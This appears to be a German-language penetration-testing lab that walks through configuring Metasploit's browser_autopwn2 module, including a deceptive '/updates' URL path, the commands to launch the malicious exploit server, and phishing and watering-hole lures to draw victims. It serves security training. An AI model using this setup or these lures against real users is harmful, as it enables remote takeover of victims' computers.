Browser-Autopwn-Angriff in Metasploit einrichten

Einleitung

In diesem Lab werden Sie sich mit einer der leistungsstarken Funktionen des Metasploit Frameworks befassen: dem Browser-Autopwn-Angriff. Diese Art von Angriff beinhaltet die Einrichtung eines bösartigen Webservers, der, wenn er von einem Ziel besucht wird, automatisch den Browsertyp und die Version des Opfers erkennt und dann einen Exploit bereitstellt, der auf entdeckte Schwachstellen zugeschnitten ist.

Wir werden das Modul auxiliary/server/browser_autopwn2 verwenden, eine aktualisierte und zuverlässigere Version des ursprünglichen Browser-Autopwn. Dieses Lab führt Sie durch den Prozess der Auswahl des Moduls, der Konfiguration der notwendigen Optionen und des Starts des Servers.

Haftungsausschluss: Dieses Lab dient ausschließlich Bildungszwecken. Die beschriebenen Techniken sollten nur auf Systemen durchgeführt werden, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben.

Auswahl des Moduls auxiliary/server/browser_autopwn2

In diesem Schritt starten Sie die Metasploit Framework-Konsole und wählen das Modul browser_autopwn2 aus, das den Kern unseres Angriffsaufbaus bilden wird.

Öffnen Sie zunächst ein Terminal und starten Sie die Metasploit-Konsole. Wir verwenden das Flag -q für einen "ruhigen" Start, der das Banner unterdrückt und eine sauberere Benutzeroberfläche bietet.

msfconsole -q

Sobald die Konsole geladen ist, sehen Sie die Metasploit-Eingabeaufforderung, die wie msf6 > aussieht. Metasploit organisiert seine Werkzeuge in Module. Um unseren Angriff einzurichten, müssen wir das Hilfsmodul browser_autopwn2 verwenden. Verwenden Sie den Befehl use, um es auszuwählen.

use auxiliary/server/browser_autopwn2

Nachdem Sie den Befehl ausgeführt haben, ändert sich Ihre Eingabeaufforderung, um anzuzeigen, dass Sie sich nun im Kontext dieses spezifischen Moduls befinden.

msf6 > use auxiliary/server/browser_autopwn2
msf6 auxiliary(server/browser_autopwn2) >

Sie sind nun bereit, die Optionen des Moduls zu konfigurieren.

Setzen der LHOST-Option auf Ihre Kali-IP

In diesem Schritt konfigurieren Sie die Option LHOST. LHOST steht für "Local Host" und muss auf die IP-Adresse Ihres Angriffsrechners (der LabEx VM) gesetzt werden. Wenn ein Exploit erfolgreich ist, wird die Maschine des Opfers eine Verbindung zu dieser IP-Adresse herstellen, was Ihnen die Kontrolle gibt.

Zuerst müssen Sie die IP-Adresse Ihrer LabEx VM ermitteln. Sie können einen neuen Terminal-Tab öffnen, indem Sie auf das +-Symbol im Terminalfenster klicken. Führen Sie in dem neuen Terminal den folgenden Befehl aus, um Ihre IP-Adresse anzuzeigen:

ip addr show eth0 | grep "inet " | awk '{print $2}' | cut -d/ -f1

Sie sehen eine Ausgabe, die dieser ähnelt. Stellen Sie sicher, dass Sie Ihre spezifische IP-Adresse kopieren.

10.0.2.15

Gehen Sie nun zurück zu Ihrem ursprünglichen Terminal, in dem msfconsole ausgeführt wird. Um alle konfigurierbaren Optionen für das Modul browser_autopwn2 anzuzeigen, verwenden Sie den Befehl show options.

show options

Sie sehen eine Liste von Optionen. Beachten Sie, dass LHOST erforderlich ist, aber noch nicht gesetzt wurde. Verwenden Sie den Befehl set, um LHOST mit der gerade kopierten IP-Adresse zu konfigurieren. Ersetzen Sie YOUR_IP_ADDRESS durch Ihre tatsächliche IP.

set LHOST YOUR_IP_ADDRESS

Wenn Ihre IP beispielsweise 10.0.2.15 wäre, würde der Befehl lauten:

set LHOST 10.0.2.15

Metasploit bestätigt die Änderung.

LHOST => 10.0.2.15

Der LHOST ist nun korrekt konfiguriert.

Festlegen des URIPATH für den bösartigen Server

In diesem Schritt legen Sie den URIPATH fest. Diese Option definiert den spezifischen Pfad auf Ihrem Webserver, den das Opfer besuchen muss, um den Angriff auszulösen. Die Verwendung eines nicht standardmäßigen, unauffälligen Pfads kann den Angriff weniger offensichtlich machen.

Wie im vorherigen Schritt können Sie mit show options die aktuellen Einstellungen überprüfen. Sie werden sehen, dass URIPATH einen Standardwert hat, den wir jedoch durch einen benutzerdefinierten Wert ersetzen werden.

Lassen Sie uns den Pfad auf /updates setzen. Dies könnte einen Benutzer dazu verleiten zu glauben, dass er eine Software-Update-Seite besucht. Verwenden Sie den Befehl set, um den URIPATH zu ändern.

set URIPATH /updates

Die Konsole bestätigt, dass der URIPATH aktualisiert wurde.

URIPATH => /updates

Nun wird die bösartige URL, die ein Opfer besuchen müsste, http://<IHRE_IP_ADRESSE>:8080/updates lauten.

Ausführen des Moduls zum Starten des Webservers

In diesem Schritt, nachdem alle notwendigen Optionen konfiguriert wurden, starten Sie das Hilfsmodul. Dies startet einen Webserver auf Ihrem Rechner, der auf eingehende Verbindungen von potenziellen Opfern wartet.

Um das Modul zu starten, geben Sie einfach run in die msfconsole-Eingabeaufforderung ein und drücken Sie Enter.

run

Metasploit startet nun den Server und lädt alle relevanten Browser-Exploits. Sie werden viele Ausgaben sehen, während der Server initialisiert wird. Die wichtigsten Informationen, auf die Sie achten sollten, sind die Bestätigung, dass der Server gestartet wurde, und die verwendete URL.

Die Ausgabe wird ungefähr so aussehen (einige Details können variieren):

[*] Auxiliary module running as a background job 0.
[*] Using URL: http://10.0.2.15:8080/updates
[*] Server started.
[*] Starting the payload handler...
[*] Analyzing browser info and matching exploits...
[*] Added exploit/windows/browser/adobe_flash_avm2...
[*] Added exploit/windows/browser/adobe_flash_copy_pixels...
... (viele weitere Exploits werden aufgelistet) ...

Ihr bösartiger Server läuft nun und wartet aktiv darauf, dass ein Webbrowser eine Verbindung zu http://10.0.2.15:8080/updates (mit Ihrer tatsächlichen IP) herstellt. Wenn ein Browser eine Verbindung herstellt, wird der Server ihn analysieren und versuchen, einen geeigneten Exploit zu starten.

Besprechung der Verlockung eines Ziels zur bösartigen URL

In diesem letzten Schritt besprechen wir den kritischsten Teil dieses Angriffs: das Verleiten eines Ziels zum Besuch der bösartigen URL. Der Server läuft, ist aber passiv; er kann nichts tun, bis ein Opfer den Link besucht. Diese Phase beruht stark auf Social Engineering.

Da diese Laborumgebung keine separate "Opfer"-Maschine enthält, ist dieser Schritt rein konzeptionell. Es gibt keine Befehle auszuführen.

Hier sind einige gängige Methoden, um den bösartigen Link (http://IHRE_IP_ADRESSE:8080/updates) an ein Ziel zu übermitteln:

Phishing-E-Mails: Senden einer täuschenden E-Mail, die den Benutzer zum Klicken auf den Link auffordert. Die E-Mail könnte beispielsweise als Sicherheitswarnung, Sonderangebot oder Benachrichtigung zur Passwortzurücksetzung getarnt sein.
Instant Messaging: Senden des Links direkt an ein Ziel über eine Chat-Anwendung, oft mit einer Nachricht wie "Hey, schau dir diese coole Seite an!"
Soziale Medien: Veröffentlichen des Links auf einer Social-Media-Plattform, entweder öffentlich oder in einer Direktnachricht, um Klicks zu verleiten.
Watering Hole Attack: Eine fortgeschrittenere Technik, bei der ein Angreifer eine legitime Website kompromittiert, die das Ziel bekanntermaßen häufig besucht. Der Angreifer bettet dann den bösartigen Link oder eine Weiterleitung auf dieser Website ein.

Wenn ein Ziel mit einem anfälligen Browser Ihre URL besucht, liefert browser_autopwn2 automatisch den entsprechenden Exploit aus. Wenn der Exploit erfolgreich ist, wird in Ihrer Metasploit-Konsole eine "Session" geöffnet, die Ihnen Fernzugriff auf die Maschine des Opfers ermöglicht. Sie würden eine Meldung wie [*] Session 1 opened... in Ihrem Terminal sehen.

Zusammenfassung

Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben erfolgreich die grundlegenden Schritte zur Einrichtung eines Browser-Autopwn-Angriffs mit dem Metasploit Framework erlernt.

In diesem Lab haben Sie:

Die Metasploit-Konsole gestartet.
Das Modul auxiliary/server/browser_autopwn2 ausgewählt.
Die wesentlichen Optionen LHOST und URIPATH konfiguriert.
Den bösartigen Webserver gestartet und seine Funktion verstanden.
Die Social-Engineering-Techniken besprochen, die erforderlich sind, um ein Ziel zur bösartigen URL zu locken.

Diese Übung zeigt, wie leistungsfähig und automatisiert Penetrationstest-Tools sein können. Sie unterstreicht auch die entscheidende Bedeutung der Aktualisierung von Webbrowsern und deren Plugins, um sich vor solchen Angriffen zu schützen. Denken Sie immer daran, dieses Wissen verantwortungsbewusst und ethisch einzusetzen.